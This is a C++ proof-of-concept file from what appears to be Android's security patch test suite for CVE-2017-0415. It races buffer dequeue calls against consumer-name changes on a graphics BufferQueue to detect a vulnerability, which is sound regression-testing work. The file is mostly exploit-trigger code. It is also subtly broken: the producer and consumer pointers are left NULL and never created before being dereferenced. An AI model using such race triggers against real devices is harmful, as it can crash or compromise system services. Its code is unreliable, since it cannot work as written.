hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/poc.cpp

/**
 * Copyright (C) 2018 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include <gui/BufferQueue.h>
#include <gui/IGraphicBufferProducer.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <ui/Fence.h>
#include <utils/String8.h>

using namespace android;

#define MAX_TRY 5000  // based on experiments
volatile int quit = 1;

static void *start2(void *args) {
  sp<IGraphicBufferProducer> bufferProducer =
      *(sp<IGraphicBufferProducer> *)args;

  /*
   * It will end when ever the main thread exits due to
   * two conditions.
   * 1. count value reaches less than 0
   * 2. Transact failed
   */
  while (quit) {
    int buffer;
    sp<Fence> fence;
    bufferProducer->dequeueBuffer(&buffer, &fence, 800, 600, 1, 0, nullptr,
                                  nullptr);
  }
  return NULL;
}

int main(__attribute__((unused)) int argc,
         __attribute__((unused)) char *const argv[]) {
  int count = MAX_TRY;
  int result = EXIT_SUCCESS;
  sp<IGraphicBufferProducer> bufferProducer = NULL;
  sp<IGraphicBufferConsumer> bufferConsumer = NULL;

  pthread_t thread;
  pthread_create(&thread, NULL, start2, &bufferProducer);

  while (quit) {
    bufferConsumer->setConsumerName(String8("dddddddddddddddd"));
    String8 str = bufferProducer->getConsumerName();
    if (count < 0) {
      quit = 0;
    }
    if (!strcmp("TransactFailed", str.string())) {
      result = EXIT_FAILURE;
      quit = 0;
    }
    count--;
  }
  pthread_join(thread, NULL);

  return result;
}